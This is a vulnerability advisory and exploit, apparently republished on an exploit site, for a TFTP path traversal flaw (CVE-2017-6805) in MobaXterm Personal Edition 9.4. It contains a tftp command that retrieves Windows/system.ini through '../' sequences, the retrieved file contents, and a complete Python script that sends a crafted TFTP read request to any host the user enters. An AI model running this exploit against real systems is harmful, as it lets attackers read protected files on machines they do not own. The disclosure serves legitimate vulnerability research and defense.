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MobaXterm Personal Edition 9.4 - Directory Traversal Vulnerability
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
[+] ISR: ApparitionSec
Vendor:
=====================
mobaxterm.mobatek.net
Product:
===============================
MobaXterm Personal Edition v9.4
Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.
Vulnerability Type:
=====================================
Path Traversal Remote File Disclosure
CVE Reference:
==============
CVE-2017-6805
Security Issue:
================
Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using
directory traversal attacks e.g. ../../../../Windows/system.ini
Start MobaXterm TFTP server which listens on default TFTP port 69.
c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s
c:\xampp\htdocs>type system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
Victim Data located on: 127.0.0.1
POC URL:
=============================
https://vimeo.com/207516364
Exploit:
==========
import sys,socket
print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'
HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini'
PORT = 69
PAYLOAD = "\x00\x01" #TFTP Read
PAYLOAD += "../" * 4 + FILE + "\x00" #Read system.ini using directory traversal
PAYLOAD += "netascii\x00" #TFTP Type
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()
print "Victim Data located on : %s " %(HOST)
print out.strip()
# 0day.today [2024-12-25] #